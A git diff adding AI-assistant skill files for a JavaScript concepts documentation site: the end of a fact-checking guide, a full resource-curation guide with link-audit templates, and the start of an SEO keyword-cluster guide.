+| Arrow functions are just shorter syntax | They have no `this`, `arguments`, `super`, or `new.target` | MDN, ECMAScript spec |
+| `var` is hoisted to function scope with its value | Only declaration is hoisted, not initialization | Code test, MDN |
+| Closures are a special opt-in feature | All functions in JS are closures | ECMAScript spec |
+| IIFEs are obsolete | Still useful for one-time initialization | Modern codebases still use them |
+
+### Async Misconceptions
+
+| Misconception | Reality | How to Verify |
+|---------------|---------|---------------|
+| Promises run in parallel | JS is single-threaded; Promises are async, not parallel | Event loop explanation |
+| `async/await` is different from Promises | It's syntactic sugar over Promises | MDN, can await any thenable |
+| `setTimeout(fn, 0)` runs immediately | Runs after current execution + microtasks | Event loop, code test |
+| `await` pauses the entire program | Only pauses the async function, not the event loop | Code test |
+
+### Object Misconceptions
+
+| Misconception | Reality | How to Verify |
+|---------------|---------|---------------|
+| Objects are "passed by reference" | References are passed by value ("pass by sharing") | Reassignment test |
+| `const` makes objects immutable | `const` prevents reassignment, not mutation | Code test |
+| Everything in JavaScript is an object | Primitives are not objects (though they have wrappers) | `typeof` tests, MDN |
+| `Object.freeze()` creates deep immutability | It's shallow - nested objects can still be mutated | Code test |
+
+### Performance Misconceptions
+
+| Misconception | Reality | How to Verify |
+|---------------|---------|---------------|
+| `===` is always faster than `==` | Implementation-dependent, not spec-guaranteed | Benchmarks vary |
+| `for` loops are faster than `forEach` | Modern engines optimize both; depends on use case | Benchmark |
+| Arrow functions are faster | No performance difference, just different behavior | Benchmark |
+| Avoiding DOM manipulation is always faster | Sometimes batch mutations are slower than individual | Depends on browser, use case |
+
+---
+
+## Test Integration
+
+Running the project's test suite is a key part of fact-checking.
+
+### Test Commands
+
+```bash
+# Run all tests
+npm test
+
+# Run tests in watch mode
+npm run test:watch
+
+# Run tests with coverage
+npm run test:coverage
+
+# Run tests for specific concept
+npm test -- tests/fundamentals/call-stack/
+npm test -- tests/fundamentals/primitive-types/
+npm test -- tests/fundamentals/value-reference-types/
+npm test -- tests/fundamentals/type-coercion/
+npm test -- tests/fundamentals/equality-operators/
+npm test -- tests/fundamentals/scope-and-closures/
+```
+
+### Test Directory Structure
+
+```
+tests/
+├── fundamentals/ # Concepts 1-6
+│ ├── call-stack/
+│ ├── primitive-types/
+│ ├── value-reference-types/
+│ ├── type-coercion/
+│ ├── equality-operators/
+│ └── scope-and-closures/
+├── functions-execution/ # Concepts 7-8
+│ ├── event-loop/
+│ └── iife-modules/
+└── web-platform/ # Concepts 9-10
+ ├── dom/
+ └── http-fetch/
+```
+
+### When Tests Are Missing
+
+If a concept doesn't have tests:
+1. Flag this in the report as "needs test coverage"
+2. Manually verify code examples are correct
+3. Consider adding tests as a follow-up task
+
+---
+
+## Verification Resources
+
+### Primary Sources
+
+| Resource | URL | Use For |
+|----------|-----|---------|
+| MDN Web Docs | https://developer.mozilla.org | API docs, guides, compatibility |
+| ECMAScript Spec | https://tc39.es/ecma262 | Authoritative behavior |
+| TC39 Proposals | https://github.com/tc39/proposals | New features, stages |
+| Can I Use | https://caniuse.com | Browser compatibility |
+| Node.js Docs | https://nodejs.org/docs | Node-specific APIs |
+| V8 Blog | https://v8.dev/blog | Engine internals |
+
+### Project Resources
+
+| Resource | Path | Use For |
+|----------|------|---------|
+| Test Suite | `/tests/` | Verify code examples |
+| Concept Pages | `/docs/concepts/` | Current content |
+| Run Tests | `npm test` | Execute all tests |
+
+---
+
+## Fact Check Report Template
+
+Use this template to document your findings.
+
+```markdown
+# Fact Check Report: [Concept Name]
+
+**File:** `/docs/concepts/[slug].mdx`
+**Date:** YYYY-MM-DD
+**Reviewer:** [Name/Claude]
+**Overall Status:** ✅ Verified | ⚠️ Minor Issues | ❌ Major Issues
+
+---
+
+## Executive Summary
+
+[2-3 sentence summary of findings. State whether the page is accurate overall and highlight any critical issues.]
+
+**Tests Run:** Yes/No
+**Test Results:** X passing, Y failing
+**External Links Checked:** X/Y valid
+
+---
+
+## Phase 1: Code Example Verification
+
+| # | Description | Line | Status | Notes |
+|---|-------------|------|--------|-------|
+| 1 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |
+| 2 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |
+| 3 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |
+
+### Code Issues Found
+
+#### Issue 1: [Title]
+
+**Location:** Line XX
+**Severity:** Critical/Major/Minor
+**Current Code:**
+```javascript
+// The problematic code
+```
+**Problem:** [Explanation of what's wrong]
+**Correct Code:**
+```javascript
+// The corrected code
+```
+
+---
+
+## Phase 2: MDN/Specification Verification
+
+| Claim | Location | Source | Status | Notes |
+|-------|----------|--------|--------|-------|
+| [Claim made] | Line XX | MDN/Spec | ✅/⚠️/❌ | [Notes] |
+
+### MDN Link Status
+
+| Link Text | URL | Status |
+|-----------|-----|--------|
+| [Text] | [URL] | ✅ 200 / ❌ 404 |
+
+### Specification Discrepancies
+
+[If any claims don't match the ECMAScript spec, detail them here]
+
+---
+
+## Phase 3: External Resource Verification
+
+| Resource | Type | Link | Content | Notes |
+|----------|------|------|---------|-------|
+| [Title] | Article/Video | ✅/❌ | ✅/⚠️/❌ | [Notes] |
+
+### Broken Links
+
+1. **Line XX:** [URL] - 404 Not Found
+2. **Line YY:** [URL] - Domain expired
+
+### Content Concerns
+
+1. **[Resource name]:** [Concern - e.g., outdated, wrong language, anti-patterns]
+
+### Description Accuracy
+
+| Resource | Description Accurate? | Notes |
+|----------|----------------------|-------|
+| [Title] | ✅/❌ | [Notes] |
+
+---
+
+## Phase 4: Technical Claims Audit
+
+| Claim | Location | Verdict | Notes |
+|-------|----------|---------|-------|
+| "[Claim]" | Line XX | ✅/⚠️/❌ | [Notes] |
+
+### Claims Needing Revision
+
+1. **Line XX:** "[Current claim]"
+ - **Issue:** [What's wrong]
+ - **Suggested:** "[Revised claim]"
+
+---
+
+## Phase 5: Test Results
+
+**Test File:** `/tests/[category]/[concept]/[concept].test.js`
+**Tests Run:** XX
+**Passing:** XX
+**Failing:** XX
+
+### Failing Tests
+
+| Test Name | Expected | Actual | Related Doc Line |
+|-----------|----------|--------|------------------|
+| [Test] | [Expected] | [Actual] | Line XX |
+
+### Coverage Gaps
+
+Examples in documentation without corresponding tests:
+- [ ] Line XX: [Description of untested example]
+- [ ] Line YY: [Description of untested example]
+
+---
+
+## Issues Summary
+
+### Critical (Must Fix Before Publishing)
+
+1. **[Issue title]**
+ - Location: Line XX
+ - Problem: [Description]
+ - Fix: [How to fix]
+
+### Major (Should Fix)
+
+1. **[Issue title]**
+ - Location: Line XX
+ - Problem: [Description]
+ - Fix: [How to fix]
+
+### Minor (Nice to Have)
+
+1. **[Issue title]**
+ - Location: Line XX
+ - Suggestion: [Improvement]
+
+---
+
+## Recommendations
+
+1. **[Priority 1]:** [Specific actionable recommendation]
+2. **[Priority 2]:** [Specific actionable recommendation]
+3. **[Priority 3]:** [Specific actionable recommendation]
+
+---
+
+## Verification Checklist
+
+- [ ] All code examples verified for correct output
+- [ ] All MDN links checked and valid
+- [ ] API descriptions match MDN documentation
+- [ ] ECMAScript compliance verified (if applicable)
+- [ ] All external resource links accessible
+- [ ] Resource descriptions accurately represent content
+- [ ] No common JavaScript misconceptions found
+- [ ] Technical claims are accurate and nuanced
+- [ ] Project tests run and reviewed
+- [ ] Report complete and ready for handoff
+
+---
+
+## Sign-off
+
+**Verified by:** [Name/Claude]
+**Date:** YYYY-MM-DD
+**Recommendation:** ✅ Ready to publish | ⚠️ Fix issues first | ❌ Major revision needed
+```
+
+---
+
+## Quick Reference: Verification Commands
+
+```bash
+# Run all tests
+npm test
+
+# Run specific concept tests
+npm test -- tests/fundamentals/call-stack/
+
+# Check for broken links (if you have a link checker)
+# Install: npm install -g broken-link-checker
+# Run: blc https://developer.mozilla.org/... -ro
+
+# Quick JavaScript REPL for testing
+node
+> typeof null
+'object'
+> [1,2,3].map(x => x * 2)
+[ 2, 4, 6 ]
+```
+
+---
+
+## Summary
+
+When fact-checking a concept page:
+
+1. **Run tests first** — `npm test` catches code errors automatically
+2. **Verify every code example** — Output comments must match reality
+3. **Check all MDN links** — Broken links and incorrect descriptions hurt credibility
+4. **Verify external resources** — Must be accessible, accurate, and JavaScript-focused
+5. **Audit technical claims** — Watch for misconceptions and unsupported statements
+6. **Document everything** — Use the report template for consistent, thorough reviews
+
+**Remember:** Our readers trust us to teach them correct JavaScript. A single piece of misinformation can create confusion that takes years to unlearn. Take fact-checking seriously.
diff --git a/.claude/skills/resource-curator/SKILL.md b/.claude/skills/resource-curator/SKILL.md
new file mode 100644
index 00000000..55cc6f50
--- /dev/null
+++ b/.claude/skills/resource-curator/SKILL.md
@@ -0,0 +1,620 @@
+---
+name: resource-curator
+description: Find, evaluate, and maintain high-quality external resources for JavaScript concept documentation, including auditing for broken and outdated links
+---
+
+# Skill: Resource Curator for Concept Pages
+
+Use this skill to find, evaluate, add, and maintain high-quality external resources (articles, videos, courses) for concept documentation pages. This includes auditing existing resources for broken links and outdated content.
+
+## When to Use
+
+- Adding resources to a new concept page
+- Refreshing resources on existing pages
+- Auditing for broken or outdated links
+- Reviewing community-contributed resources
+- Periodic link maintenance
+
+## Resource Curation Methodology
+
+Follow these five phases for comprehensive resource curation.
+
+### Phase 1: Audit Existing Resources
+
+Before adding new resources, audit what's already there:
+
+1. **Check link accessibility** — Does each link return 200?
+2. **Verify content accuracy** — Is the content still correct?
+3. **Check publication dates** — Is it too old for the topic?
+4. **Identify outdated content** — Does it use old syntax/patterns?
+5. **Review descriptions** — Are they specific or generic?
+
+### Phase 2: Identify Resource Gaps
+
+Compare current resources against targets:
+
+| Section | Target Count | Icon |
+|---------|--------------|------|
+| Reference | 2-4 MDN links | `book` |
+| Articles | 4-6 articles | `newspaper` |
+| Videos | 3-4 videos | `video` |
+| Courses | 1-3 (optional) | `graduation-cap` |
+| Books | 1-2 (optional) | `book` |
+
+Ask:
+- Are there enough resources for beginners AND advanced learners?
+- Is there visual content (diagrams, animations)?
+- Are official references (MDN) included?
+- Is there diversity in teaching styles?
+
+### Phase 3: Find New Resources
+
+Search trusted sources using targeted queries:
+
+**For Articles:**
+```
+[concept] javascript tutorial site:javascript.info
+[concept] javascript explained site:freecodecamp.org
+[concept] javascript site:dev.to
+[concept] javascript deep dive site:2ality.com
+[concept] javascript guide site:css-tricks.com
+```
+
+**For Videos:**
+```
+YouTube: [concept] javascript explained
+YouTube: [concept] javascript tutorial
+YouTube: jsconf [concept]
+YouTube: [concept] javascript fireship
+YouTube: [concept] javascript web dev simplified
+```
+
+**For MDN:**
+```
+[concept] site:developer.mozilla.org
+[API name] MDN
+```
+
+### Phase 4: Write Descriptions
+
+Every resource needs a specific, valuable description:
+
+**Formula:**
+```
+Sentence 1: What makes this resource unique OR what it specifically covers
+Sentence 2: Why reader should click (what they'll gain, who it's best for)
+```
+
+### Phase 5: Format and Organize
+
+- Use correct Card syntax with proper icons
+- Order resources logically (foundational first, advanced later)
+- Ensure consistent formatting
+
+---
+
+## Trusted Sources
+
+### Reference Sources (Priority Order)
+
+| Priority | Source | URL | Best For |
+|----------|--------|-----|----------|
+| 1 | MDN Web Docs | developer.mozilla.org | API docs, guides, compatibility |
+| 2 | ECMAScript Spec | tc39.es/ecma262 | Authoritative behavior |
+| 3 | Node.js Docs | nodejs.org/docs | Node-specific APIs |
+| 4 | Web.dev | web.dev | Performance, best practices |
+| 5 | Can I Use | caniuse.com | Browser compatibility |
+
+### Article Sources (Priority Order)
+
+| Priority | Source | Why Trusted |
+|----------|--------|-------------|
+| 1 | javascript.info | Comprehensive, exercises, well-maintained |
+| 2 | MDN Guides | Official, accurate, regularly updated |
+| 3 | freeCodeCamp | Beginner-friendly, practical |
+| 4 | 2ality (Dr. Axel) | Deep technical dives, spec-focused |
+| 5 | CSS-Tricks | DOM, visual topics, well-written |
+| 6 | dev.to (Lydia Hallie) | Visual explanations, animations |
+| 7 | LogRocket Blog | Practical tutorials, real-world |
+| 8 | Smashing Magazine | In-depth, well-researched |
+| 9 | Digital Ocean | Clear tutorials, examples |
+| 10 | Kent C. Dodds | Testing, React, best practices |
+
+### Video Creators (Priority Order)
+
+| Priority | Creator | Style | Best For |
+|----------|---------|-------|----------|
+| 1 | Fireship | Fast, modern, entertaining | Quick overviews, modern JS |
+| 2 | Web Dev Simplified | Clear, beginner-friendly | Beginners, fundamentals |
+| 3 | Fun Fun Function | Deep-dives, personality | Understanding "why" |
+| 4 | Traversy Media | Comprehensive crash courses | Full topic coverage |
+| 5 | JSConf/dotJS | Expert conference talks | Advanced, in-depth |
+| 6 | Academind | Thorough explanations | Complete understanding |
+| 7 | The Coding Train | Creative, visual | Visual learners |
+| 8 | Wes Bos | Practical, real-world | Applied learning |
+| 9 | The Net Ninja | Step-by-step tutorials | Following along |
+| 10 | Programming with Mosh | Professional, clear | Career-focused |
+
+### Course Sources
+
+| Source | Type | Notes |
+|--------|------|-------|
+| javascript.info | Free | Comprehensive, exercises |
+| Piccalilli | Free | Well-written, modern |
+| freeCodeCamp | Free | Project-based |
+| Frontend Masters | Paid | Expert instructors |
+| Egghead.io | Paid | Short, focused lessons |
+| Udemy (top-rated) | Paid | Check reviews carefully |
+| Codecademy | Freemium | Interactive |
+
+---
+
+## Quality Criteria
+
+### Must Have (Required)
+
+- [ ] **Link works** — Returns 200 (not 404, 301, 5xx)
+- [ ] **JavaScript-focused** — Not primarily about C#, Python, Java, etc.
+- [ ] **Technically accurate** — No factual errors or anti-patterns
+- [ ] **Accessible** — Free or has meaningful free preview
+
+### Should Have (Preferred)
+
+- [ ] **Recent enough** — See publication date guidelines below
+- [ ] **Reputable source** — From trusted sources list or well-known creator
+- [ ] **Unique perspective** — Not duplicate of existing resources
+- [ ] **Appropriate depth** — Matches concept complexity
+- [ ] **Good engagement** — Positive comments, high views (for videos)
+
+### Red Flags (Reject)
+
+| Red Flag | Why It Matters |
+|----------|----------------|
+| Uses `var` everywhere | Outdated for ES6+ topics |
+| Teaches anti-patterns | Harmful to learners |
+| Primarily other languages | Wrong focus |
+| Hard paywall (no preview) | Inaccessible |
+| Pre-2015 for modern topics | Likely outdated |
+| Low quality comments | Often indicates issues |
+| Factual errors | Spreads misinformation |
+| Clickbait title, thin content | Wastes reader time |
+
+---
+
+## Publication Date Guidelines
+
+| Topic Category | Minimum Year | Reasoning |
+|----------------|--------------|-----------|
+| **ES6+ Features** | 2015+ | ES6 released June 2015 |
+| **Promises** | 2015+ | Native Promises in ES6 |
+| **async/await** | 2017+ | ES2017 feature |
+| **ES Modules** | 2018+ | Stable browser support |
+| **Optional chaining (?.)** | 2020+ | ES2020 feature |
+| **Nullish coalescing (??)** | 2020+ | ES2020 feature |
+| **Top-level await** | 2022+ | ES2022 feature |
+| **Fundamentals** (closures, scope, this) | Any | Core concepts don't change |
+| **DOM manipulation** | 2018+ | Modern APIs preferred |
+| **Fetch API** | 2017+ | Widespread support |
+
+**Rule of thumb:** For time-sensitive topics, prefer content from the last 3-5 years. For fundamentals, older classic content is often excellent.
+
+---
+
+## Description Writing Guide
+
+### The Formula
+
+```
+Sentence 1: What makes this resource unique OR what it specifically covers
+Sentence 2: Why reader should click (what they'll gain, who it's best for)
+```
+
+### Good Examples
+
+```markdown
+
+ Animated GIFs showing the call stack, microtask queue, and event loop in action.
+ The visuals make Promise execution order finally click for visual learners.
+
+
+
+ The legendary JSConf talk that made the event loop click for millions of developers.
+ Philip Roberts' live visualizations are the gold standard — a must-watch.
+
+
+
+ Kyle Simpson's deep dive into JavaScript's scope mechanics and closure behavior.
+ Goes beyond the basics into edge cases and mental models for truly understanding scope.
+
+
+
+ Quick, clear explanation covering Promise creation, chaining, and error handling.
+ Perfect starting point if you're new to async JavaScript.
+
+
+
+ The pizza-and-drinks ordering analogy makes parallel vs sequential execution crystal clear.
+ Essential reading once you know async/await basics but want to write faster code.
+
+```
+
+### Bad Examples (Avoid)
+
+```markdown
+
+
+ A comprehensive guide to Promises in JavaScript.
+
+
+
+
+ This video explains closures in JavaScript.
+
+
+
+
+ Everything you need to know about JavaScript.
+
+
+
+
+ A video about understanding the event loop.
+
+```
+
+### Words and Phrases to Avoid
+
+| Avoid | Why | Use Instead |
+|-------|-----|-------------|
+| "comprehensive guide to..." | Vague, overused | Specify what's covered |
+| "learn all about..." | Generic | What specifically will they learn? |
+| "everything you need to know..." | Hyperbolic | Be specific |
+| "great tutorial on..." | Subjective filler | Why is it great? |
+| "explains X" | Too basic | How does it explain? What's unique? |
+| "in-depth look at..." | Vague | What depth? What aspect? |
+
+### Words and Phrases That Work
+
+| Good Phrase | Example |
+|-------------|---------|
+| "step-by-step walkthrough" | "Step-by-step walkthrough of building a Promise from scratch" |
+| "visual explanation" | "Visual explanation with animated diagrams" |
+| "deep dive into" | "Deep dive into V8's optimization strategies" |
+| "practical examples of" | "Practical examples of closures in React hooks" |
+| "the go-to reference for" | "The go-to reference for array method signatures" |
+| "finally makes X click" | "Finally makes prototype chains click" |
+| "perfect for beginners" | "Perfect for beginners new to async code" |
+| "covers X, Y, and Z" | "Covers creation, chaining, and error handling" |
+
+---
+
+## Link Audit Process
+
+### Step 1: Check Each Link
+
+For each resource in the concept page:
+
+1. **Click the link** — Does it load?
+2. **Note the HTTP status:**
+
+| Status | Meaning | Action |
+|--------|---------|--------|
+| 200 | OK | Keep, continue to content check |
+| 301/302 | Redirect | Update to final URL |
+| 404 | Not Found | Remove or find replacement |
+| 403 | Forbidden | Check manually, may be geo-blocked |
+| 5xx | Server Error | Retry later, may be temporary |
+
+### Step 2: Content Verification
+
+For each accessible link:
+
+1. **Skim the content** — Is it still accurate?
+2. **Check the date** — When was it published/updated?
+3. **Verify JavaScript focus** — Is it primarily about JS?
+4. **Look for red flags** — Anti-patterns, errors, outdated syntax
+
+### Step 3: Description Review
+
+For each resource:
+
+1. **Read current description** — Is it specific?
+2. **Compare to actual content** — Does it match?
+3. **Check for generic phrases** — "comprehensive guide", etc.
+4. **Identify improvements** — How can it be more specific?
+
+### Step 4: Gap Analysis
+
+After auditing all resources:
+
+1. **Count by section** — Do we meet targets?
+2. **Check diversity** — Beginner AND advanced? Visual AND text?
+3. **Identify missing types** — No MDN? No videos?
+4. **Note recommendations** — What should we add?
+
+---
+
+## Resource Section Templates
+
+### Reference Section
+
+```markdown
+## Reference
+
+
+
+ Official MDN documentation covering [specific aspects].
+ The authoritative reference for [what it's best for].
+
+
+ [What this reference covers].
+ Essential reading for understanding [specific aspect].
+
+
+```
+
+### Articles Section
+
+```markdown
+## Articles
+
+
+
+ [What makes it unique/what it covers].
+ [Why read this one/who it's for].
+
+
+ [Specific coverage].
+ [Value proposition].
+
+
+ [Unique angle].
+ [Why it's worth reading].
+
+
+ [What it covers].
+ [Best for whom].
+
+
+```
+
+### Videos Section
+
+```markdown
+## Videos
+
+
+
+ [What it covers/unique approach].
+ [Why watch/who it's for].
+
+
+ [Specific focus].
+ [What makes it stand out].
+
+
+ [Coverage].
+ [Value].
+
+
+```
+
+### Books Section (Optional)
+
+```markdown
+
+ [What the book covers and its approach].
+ [Who should read it and what they'll gain].
+
+```
+
+### Courses Section (Optional)
+
+```markdown
+
+
+ [What the course covers].
+ [Format and who it's best for].
+
+
+```
+
+---
+
+## Resource Audit Report Template
+
+Use this template to document audit findings.
+
+```markdown
+# Resource Audit Report: [Concept Name]
+
+**File:** `/docs/concepts/[slug].mdx`
+**Date:** YYYY-MM-DD
+**Auditor:** [Name/Claude]
+
+---
+
+## Summary
+
+| Metric | Count |
+|--------|-------|
+| Total Resources | XX |
+| Working Links (200) | XX |
+| Broken Links (404) | XX |
+| Redirects (301/302) | XX |
+| Outdated Content | XX |
+| Generic Descriptions | XX |
+
+## Resource Count vs Targets
+
+| Section | Current | Target | Status |
+|---------|---------|--------|--------|
+| Reference (MDN) | X | 2-4 | ✅/⚠️/❌ |
+| Articles | X | 4-6 | ✅/⚠️/❌ |
+| Videos | X | 3-4 | ✅/⚠️/❌ |
+| Courses | X | 0-3 | ✅/⚠️/❌ |
+
+---
+
+## Broken Links (Remove or Replace)
+
+| Resource | Line | URL | Status | Action |
+|----------|------|-----|--------|--------|
+| [Title] | XX | [URL] | 404 | Remove |
+| [Title] | XX | [URL] | 404 | Replace with [alternative] |
+
+---
+
+## Redirects (Update URLs)
+
+| Resource | Line | Old URL | New URL |
+|----------|------|---------|---------|
+| [Title] | XX | [old] | [new] |
+
+---
+
+## Outdated Resources (Consider Replacing)
+
+| Resource | Line | Issue | Recommendation |
+|----------|------|-------|----------------|
+| [Title] | XX | Published 2014, uses var throughout | Replace with [modern alternative] |
+| [Title] | XX | Pre-ES6, no mention of let/const | Find updated version or replace |
+
+---
+
+## Description Improvements Needed
+
+| Resource | Line | Current | Suggested |
+|----------|------|---------|-----------|
+| [Title] | XX | "A guide to closures" | "[Specific description with value prop]" |
+| [Title] | XX | "Learn about promises" | "[What makes it unique]. [Why read it]." |
+
+---
+
+## Missing Resources (Recommendations)
+
+| Type | Gap | Suggested Resource | URL |
+|------|-----|-------------------|-----|
+| Reference | No main MDN link | [Topic] — MDN | [URL] |
+| Article | No beginner guide | [Title] — javascript.info | [URL] |
+| Video | No visual explanation | [Title] — [Creator] | [URL] |
+| Article | No advanced deep-dive | [Title] — 2ality | [URL] |
+
+---
+
+## Non-JavaScript Resources (Remove)
+
+| Resource | Line | Issue |
+|----------|------|-------|
+| [Title] | XX | Primarily about C#, not JavaScript |
+
+---
+
+## Action Items
+
+### High Priority (Do First)
+1. **Remove broken link:** [Title] (line XX)
+2. **Add missing MDN reference:** [Topic]
+3. **Replace outdated resource:** [Title] with [alternative]
+
+### Medium Priority
+1. **Update redirect URL:** [Title] (line XX)
+2. **Improve description:** [Title] (line XX)
+3. **Add beginner-friendly article**
+
+### Low Priority
+1. **Add additional video resource**
+2. **Consider adding course section**
+
+---
+
+## Verification Checklist
+
+After making changes:
+
+- [ ] All broken links removed or replaced
+- [ ] All redirect URLs updated
+- [ ] Outdated resources replaced
+- [ ] Generic descriptions rewritten
+- [ ] Missing resource types added
+- [ ] Resource counts meet targets
+- [ ] All new links verified working
+- [ ] All descriptions are specific and valuable
+```
+
+---
+
+## Quick Reference
+
+### Icon Reference
+
+| Content Type | Icon Value |
+|--------------|------------|
+| MDN/Official docs | `book` |
+| Articles/Blog posts | `newspaper` |
+| Videos | `video` |
+| Courses | `graduation-cap` |
+| Books | `book` |
+| Related concepts | Context-appropriate |
+
+### Character Guidelines
+
+| Element | Guideline |
+|---------|-----------|
+| Card title | Keep concise, include creator for videos |
+| Description sentence 1 | What it covers / what's unique |
+| Description sentence 2 | Why read/watch / who it's for |
+
+### Resource Ordering
+
+Within each section, order resources:
+1. **Most foundational/beginner-friendly first**
+2. **Official references before community content**
+3. **Most highly recommended prominently placed**
+4. **Advanced/niche content last**
+
+---
+
+## Quality Checklist
+
+### Link Verification
+- [ ] All links return 200 (not 404, 301)
+- [ ] No redirect chains
+- [ ] No hard paywalls without notice
+- [ ] All URLs are HTTPS where available
+
+### Content Quality
+- [ ] All resources are JavaScript-focused
+- [ ] No resources teaching anti-patterns
+- [ ] Publication dates appropriate for topic
+- [ ] Mix of beginner and advanced content
+- [ ] Visual and text resources included
+
+### Description Quality
+- [ ] All descriptions are specific (not generic)
+- [ ] Descriptions explain unique value
+- [ ] No "comprehensive guide to..." phrases
+- [ ] Each description is 2 sentences
+- [ ] Descriptions match actual content
+
+### Completeness
+- [ ] 2-4 MDN/official references
+- [ ] 4-6 quality articles
+- [ ] 3-4 quality videos
+- [ ] Resources ordered logically
+- [ ] Diversity in teaching styles
+
+---
+
+## Summary
+
+When curating resources for a concept page:
+
+1. **Audit first** — Check all existing links and content
+2. **Identify gaps** — Compare against targets (2-4 refs, 4-6 articles, 3-4 videos)
+3. **Find quality resources** — Search trusted sources
+4. **Write specific descriptions** — What's unique + why read/watch
+5. **Format correctly** — Proper Card syntax, icons, ordering
+6. **Document changes** — Use the audit report template
+
+**Remember:** Resources should enhance learning, not pad the page. Every link should offer genuine value. Quality over quantity — a few excellent resources beat many mediocre ones.
diff --git a/.claude/skills/seo-review/SKILL.md b/.claude/skills/seo-review/SKILL.md
new file mode 100644
index 00000000..acc711ad
--- /dev/null
+++ b/.claude/skills/seo-review/SKILL.md
@@ -0,0 +1,951 @@
+---
+name: seo-review
+description: Perform a focused SEO audit on JavaScript concept pages to maximize search visibility, featured snippet optimization, and ranking potential
+---
+
+# Skill: SEO Audit for Concept Pages
+
+Use this skill to perform a focused SEO audit on concept documentation pages for the 33 JavaScript Concepts project. The goal is to maximize search visibility for JavaScript developers.
+
+## When to Use
+
+- Before publishing a new concept page
+- When optimizing underperforming pages
+- Periodic content audits
+- After major content updates
+- When targeting new keywords
+
+## Goal
+
+Each concept page should rank for searches like:
+- "what is [concept] in JavaScript"
+- "how does [concept] work in JavaScript"
+- "[concept] JavaScript explained"
+- "[concept] JavaScript tutorial"
+- "[concept] JavaScript example"
+
+---
+
+## SEO Audit Methodology
+
+Follow these five steps for a complete SEO audit.
+
+### Step 1: Identify Target Keywords
+
+Before auditing, identify the keyword cluster for the concept.
+
+#### Keyword Cluster Template
+
+| Type | Pattern | Example (Closures) |
+|------|---------|-------------------|
+| **Primary** | [concept] JavaScript | closures JavaScript |
+| **What is** | what is [concept] in JavaScript | what is a closure in JavaScript |
+| **How does** | how does [concept] work | how do closures work |
+| **How to** | how to use/create [concept] | how to use closures |
+| **Why** | why use [concept] | why use closures JavaScript |
+| **Examples** | [concept] examples | closure examples JavaScript |
+| **vs** | [concept] vs [related] | closures vs scope |
+| **Interview** | [concept] interview questions | closure interview questions |
+
+### Step 2: On-Page SEO Audit
+
+Check all on-page SEO elements systematically.
+
+### Step 3: Featured Snippet Optimization
+
+Verify content is structured to win featured snippets.
+
+### Step 4: Internal Linking Audit
+
+Check the internal link structure.
+
+### Step 5: Generate Report
+
+Document findings using the report template.
+
+---
+
+## Keyword Clusters by Concept
+
+Use these pre-built keyword clusters for each concept.
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript call stack, call stack JavaScript |
+ | What is | what is the call stack in JavaScript |
+ | How does | how does the call stack work |
+ | Error | maximum call stack size exceeded, stack overflow JavaScript |
+ | Visual | call stack visualization, call stack explained |
+ | Interview | call stack interview questions JavaScript |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript primitive types, primitives in JavaScript |
+ | What are | what are primitive types in JavaScript |
+ | List | JavaScript data types, types in JavaScript |
+ | vs | primitives vs objects JavaScript |
+ | typeof | typeof JavaScript, JavaScript typeof operator |
+ | Interview | JavaScript types interview questions |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript value vs reference, pass by reference JavaScript |
+ | What is | what is pass by value in JavaScript |
+ | How does | how does JavaScript pass objects |
+ | Comparison | value types vs reference types JavaScript |
+ | Copy | how to copy objects JavaScript, deep copy JavaScript |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript type coercion, type conversion JavaScript |
+ | What is | what is type coercion in JavaScript |
+ | How does | how does type coercion work |
+ | Implicit | implicit type conversion JavaScript |
+ | Explicit | explicit type conversion JavaScript |
+ | Interview | type coercion interview questions |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript equality, == vs === JavaScript |
+ | What is | what is the difference between == and === |
+ | Comparison | loose equality vs strict equality JavaScript |
+ | Best practice | when to use == vs === |
+ | Interview | JavaScript equality interview questions |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript closures, JavaScript scope |
+ | What is | what is a closure in JavaScript, what is scope |
+ | How does | how do closures work, how does scope work |
+ | Types | types of scope JavaScript, lexical scope |
+ | Use cases | closure use cases, why use closures |
+ | Interview | closure interview questions JavaScript |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript event loop, event loop JavaScript |
+ | What is | what is the event loop in JavaScript |
+ | How does | how does the event loop work |
+ | Visual | event loop visualization, event loop explained |
+ | Related | call stack event loop, task queue JavaScript |
+ | Interview | event loop interview questions |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript Promises, Promises in JavaScript |
+ | What is | what is a Promise in JavaScript |
+ | How to | how to use Promises, how to chain Promises |
+ | Methods | Promise.all, Promise.race, Promise.allSettled |
+ | Error | Promise error handling, Promise catch |
+ | vs | Promises vs callbacks, Promises vs async await |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript async await, async await JavaScript |
+ | What is | what is async await in JavaScript |
+ | How to | how to use async await, async await tutorial |
+ | Error | async await error handling, try catch async |
+ | vs | async await vs Promises |
+ | Interview | async await interview questions |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript this keyword, this in JavaScript |
+ | What is | what is this in JavaScript |
+ | How does | how does this work in JavaScript |
+ | Binding | call apply bind JavaScript, this binding |
+ | Arrow | this in arrow functions |
+ | Interview | this keyword interview questions |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript prototype, prototype chain JavaScript |
+ | What is | what is a prototype in JavaScript |
+ | How does | how does prototype inheritance work |
+ | Chain | prototype chain explained |
+ | vs | prototype vs class JavaScript |
+ | Interview | prototype interview questions JavaScript |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript DOM, DOM manipulation JavaScript |
+ | What is | what is the DOM in JavaScript |
+ | How to | how to manipulate DOM JavaScript |
+ | Methods | getElementById, querySelector JavaScript |
+ | Events | DOM events JavaScript, event listeners |
+ | Performance | DOM performance, virtual DOM vs DOM |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript higher order functions, higher order functions |
+ | What are | what are higher order functions |
+ | Examples | map filter reduce JavaScript |
